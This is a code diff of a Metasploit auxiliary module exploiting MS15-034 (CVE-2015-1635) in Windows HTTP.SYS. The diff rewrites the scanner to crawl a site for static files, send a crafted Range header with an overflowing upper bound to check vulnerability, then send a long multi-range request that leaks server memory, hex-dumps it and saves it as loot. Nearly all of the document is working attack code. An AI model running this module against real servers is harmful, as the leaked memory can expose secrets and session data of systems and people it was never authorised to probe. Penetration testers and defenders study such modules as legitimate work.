@@ -11,9 +11,9 @@ class Metasploit3 < Msf::Auxiliary
1111 include Msf ::Exploit ::Remote ::HttpClient
1212 include Msf ::Auxiliary ::Scanner
1313
14- def initialize
15- super (
16- 'Name' => 'MS15-034 HTTP.SYS Memory Dump ' ,
14+ def initialize ( info = { } )
15+ super ( update_info ( info ,
16+ 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP .SYS Memory Information Disclosure ' ,
1717 'Description' => %q{
1818 Dumps memory contents using a crafted Range header. Affects only
1919 Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
@@ -22,35 +22,91 @@ def initialize
2222 seem stable. Using a larger target file should result in more memory
2323 being dumped, and SSL seems to produce more data as well.
2424 } ,
25- 'Author' => 'Rich Whitcroft <rwhitcroft[at]gmail.com>' ,
25+ 'Author' =>
26+ [
27+ 'Rich Whitcroft <rwhitcroft[at]gmail.com>' , # Msf module
28+ 'sinn3r' # Some more Metasploit stuff
29+ ] ,
2630 'License' => MSF_LICENSE ,
27- 'References' => [ [ 'URL' , 'http://securitysift.com/an-analysis-of-ms15-034/' ] ]
28- )
31+ 'References' =>
32+ [
33+ [ 'CVE' , '2015-1635' ] ,
34+ [ 'MSB' , 'MS15-034' ] ,
35+ [ 'URL' , 'http://pastebin.com/ypURDPc4' ] ,
36+ [ 'URL' , 'https://github.com/rapid7/metasploit-framework/pull/5150' ] ,
37+ [ 'URL' , 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection' ] ,
38+ [ 'URL' , 'http://www.securitysift.com/an-analysis-of-ms15-034/' ] ,
39+ [ 'URL' , 'http://securitysift.com/an-analysis-of-ms15-034/' ]
40+ ]
41+ ) )
2942
3043 register_options ( [
31- OptString . new ( 'TARGET_URI' , [ true , 'The path to the resource (must exist!)' , '/iisstart.htm' ] ) ,
32- OptInt . new ( 'RPORT' , [ true , 'The target port' , 443 ] ) ,
33- OptBool . new ( 'SSL' , [ true , 'Use SSL?' , true ] ) ,
44+ OptString . new ( 'TARGETURI' , [ false , 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)' , '/' ] ) ,
3445 OptBool . new ( 'SUPPRESS_REQUEST' , [ true , 'Suppress output of the requested resource' , true ] )
3546 ] , self . class )
3647
3748 deregister_options ( 'VHOST' )
3849 end
3950
40- def check
41- res = send_request_raw ( {
42- 'uri' => datastore [ 'TARGET_URI' ] ,
43- 'method' => 'GET' ,
44- 'headers' => {
45- 'Range' => 'bytes=0-18446744073709551615'
46- }
47- } )
48- unless res
49- vprint_error ( "Error in send_request_raw" )
50- return false
51+ def target_uri
52+ @target_uri ||= super
53+ end
54+
55+ def potential_static_files_uris
56+ uri = normalize_uri ( target_uri . path )
57+
58+ return [ uri ] unless uri [ -1 , 1 ] == '/'
59+
60+ uris = [ "#{ uri } iisstart.htm" , "#{ uri } iis-85.png" , "#{ uri } welcome.png" ]
61+ res = send_request_raw ( 'uri' => uri )
62+
63+ return uris unless res
64+
65+ site_uri = URI . parse ( full_uri )
66+ page = Nokogiri ::HTML ( res . body . encode ( 'UTF-8' , invalid : :replace , undef : :replace ) )
67+
68+ page . xpath ( '//link|//script|//style|//img' ) . each do |tag |
69+ %w( href src ) . each do |attribute |
70+ attr_value = tag [ attribute ]
71+ next unless attr_value && !attr_value . empty?
72+ uri = site_uri . merge ( URI . encode ( attr_value . strip ) )
73+ next unless uri . host == vhost || uri . host == rhost
74+ uris << uri . path if uri . path =~ /\. [a-z]{2,}$/i # Only keep path with a file
75+ end
5176 end
5277
53- return ( res . body . include? ( "Requested Range Not Satisfiable" ) ? true : false )
78+ uris . uniq
79+ end
80+
81+ def check_host ( ip )
82+ upper_range = 0xFFFFFFFFFFFFFFFF
83+
84+ potential_static_files_uris . each do |potential_uri |
85+ uri = normalize_uri ( potential_uri )
86+
87+ res = send_request_raw (
88+ 'uri' => uri ,
89+ 'method' => 'GET' ,
90+ 'headers' => {
91+ 'Range' => "bytes=0-#{ upper_range } "
92+ }
93+ )
94+
95+ vmessage = "#{ peer } - Checking #{ uri } [#{ res . code } ]"
96+
97+ if res && res . body . include? ( 'Requested Range Not Satisfiable' )
98+ vprint_status ( "#{ vmessage } - Vulnerable" )
99+
100+ # Save the file that we want to use for the information leak
101+ target_uri . path = uri
102+
103+ return Exploit ::CheckCode ::Vulnerable
104+ elsif res && res . body . include? ( 'The request has an invalid header name' )
105+ return Exploit ::CheckCode ::Safe
106+ end
107+ end
108+
109+ Exploit ::CheckCode ::Unknown
54110 end
55111
56112 def dump ( data )
@@ -64,108 +120,86 @@ def dump(data)
64120 end
65121 end
66122
67- i = 1
68- bytes_per_line = 16
69- lines_suppressed = 0
70- bytes = String . new
71- chars = String . new
72-
123+ print_line
73124 print_good ( "Memory contents:" )
125+ print_line ( Rex ::Text . to_hex_dump ( data ) )
126+ end
74127
75- data . each_byte do |b |
76- bytes << "%02x" % b . ord
128+ # Needed to allow the vulnerable uri to be shared between the #check and #dos
129+ def target_uri
130+ @target_uri ||= super
131+ end
77132
78- if b . ord . between? ( 32 , 126 )
79- chars << b . chr
80- else
81- chars << "."
82- end
133+ def get_file_size
134+ @file_size ||= lambda {
135+ file_size = - 1
136+ uri = normalize_uri ( target_uri . path )
137+ res = send_request_raw ( 'uri' => uri )
83138
84- if i > 1 and i % bytes_per_line == 0
85- if bytes !~ /^[0f]{32}$/
86- bytes . gsub! ( /(.{4})/ , '\1 ' )
87- print_status ( "#{ bytes } #{ chars } " )
88- else
89- lines_suppressed += 1
90- end
139+ unless res
140+ vprint_error ( "#{ peer } - Connection timed out" )
141+ return file_size
142+ end
91143
92- bytes . clear
93- chars . clear
144+ if res . code == 404
145+ vprint_error ( "#{ peer } - You got a 404. URI must be a valid resource." )
146+ return file_size
94147 end
95148
96- i += 1
149+ file_size = res . headers [ 'Content-Length' ] . to_i
150+ vprint_status ( "#{ peer } - File length: #{ file_size } bytes" )
151+
152+ return file_size
153+ } . call
154+ end
155+
156+ def calc_ranges ( content_length )
157+ ranges = "bytes=3-18446744073709551615"
158+
159+ range_step = 100
160+ for range_start in ( 1 ..content_length ) . step ( range_step ) do
161+ range_end = range_start + range_step - 1
162+ range_end = content_length if range_end > content_length
163+ ranges << ",#{ range_start } -#{ range_end } "
97164 end
98165
99- print_status ( "Suppressed #{ lines_suppressed } uninteresting lines" ) unless lines_suppressed . zero?
166+ ranges
100167 end
101168
102169 def run_host ( ip )
103170 begin
104- unless check
171+ unless check_host ( ip )
105172 print_error ( "Target is not vulnerable" )
106173 return
107174 else
108175 print_good ( "Target may be vulnerable..." )
109176 end
110177
111- # determine the size of the resource
112- res = send_request_raw ( { 'uri' => datastore [ 'TARGET_URI' ] , 'method' => 'GET' } )
113- unless res
114- print_error ( "Error in send_request_raw" )
115- return
116- end
117-
118- if res . code == 200
119- content_length = res . headers [ 'Content-Length' ] . to_i
120- print_good ( "Content length is #{ content_length } bytes" )
121- else
122- print_error ( "Error: HTTP code #{ res . code } " )
123- return
124- end
125-
126- # build the Range header
127- ranges = "bytes=3-18446744073709551615"
128- range_step = 100
129- for range_start in ( 1 ..content_length ) . step ( range_step ) do
130- range_end = range_start + range_step - 1
131- range_end = content_length if range_end > content_length
132- ranges << ",#{ range_start } -#{ range_end } "
133- end
134-
135- sock_opts = {
136- 'SSL' => datastore [ 'SSL' ] ,
137- 'SSLVersion' => datastore [ 'SSLVersion' ] ,
138- 'LocalHost' => nil ,
139- 'PeerHost' => ip ,
140- 'PeerPort' => datastore [ 'RPORT' ]
141- }
142-
143- sock = Rex ::Socket ::Tcp . create ( sock_opts )
144-
145- req = "GET #{ datastore [ 'TARGET_URI' ] } HTTP/1.1\r \n Host: #{ ip } \r \n User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r \n Accept: */*\r \n Connection: keep-alive\r \n Range: #{ ranges } \r \n \r \n "
146- sock . put ( req )
178+ content_length = get_file_size
179+ ranges = calc_ranges ( content_length )
180+
181+ uri = normalize_uri ( target_uri . path )
182+ cli = Rex ::Proto ::Http ::Client . new ( ip )
183+ cli . connect
184+ req = cli . request_raw (
185+ 'uri' => target_uri . path ,
186+ 'method' => 'GET' ,
187+ 'headers' => {
188+ 'Range' => ranges
189+ }
190+ )
191+ cli . send_request ( req )
147192
148193 print_good ( "Stand by..." )
149194
150- resp = String . new
151- loop do
152- sleep 2
195+ resp = cli . read_response
153196
154- buf = sock . get_once ( -1 , 2 )
155- if buf
156- resp << buf
157- else
158- break
159- end
160- end
161-
162- if resp and not resp . empty?
163- dump ( resp )
197+ if resp
198+ dump ( resp . to_s )
164199 loot_path = store_loot ( 'iis.ms15034' , 'application/octet-stream' , ip , resp , nil , 'MS15-034 HTTP.SYS Memory Dump' )
165200 print_status ( "Memory dump saved to #{ loot_path } " )
166201 else
167- print_error ( "Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2)" )
168- return
202+ print_error ( "Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)" )
169203 end
170204 rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
171205 print_error ( "Unable to connect" )
@@ -174,7 +208,7 @@ def run_host(ip)
174208 print_error ( "Timeout receiving from socket" )
175209 return
176210 ensure
177- sock . close if sock
211+ cli . close if cli
178212 end
179213 end
180214end
0 commit comments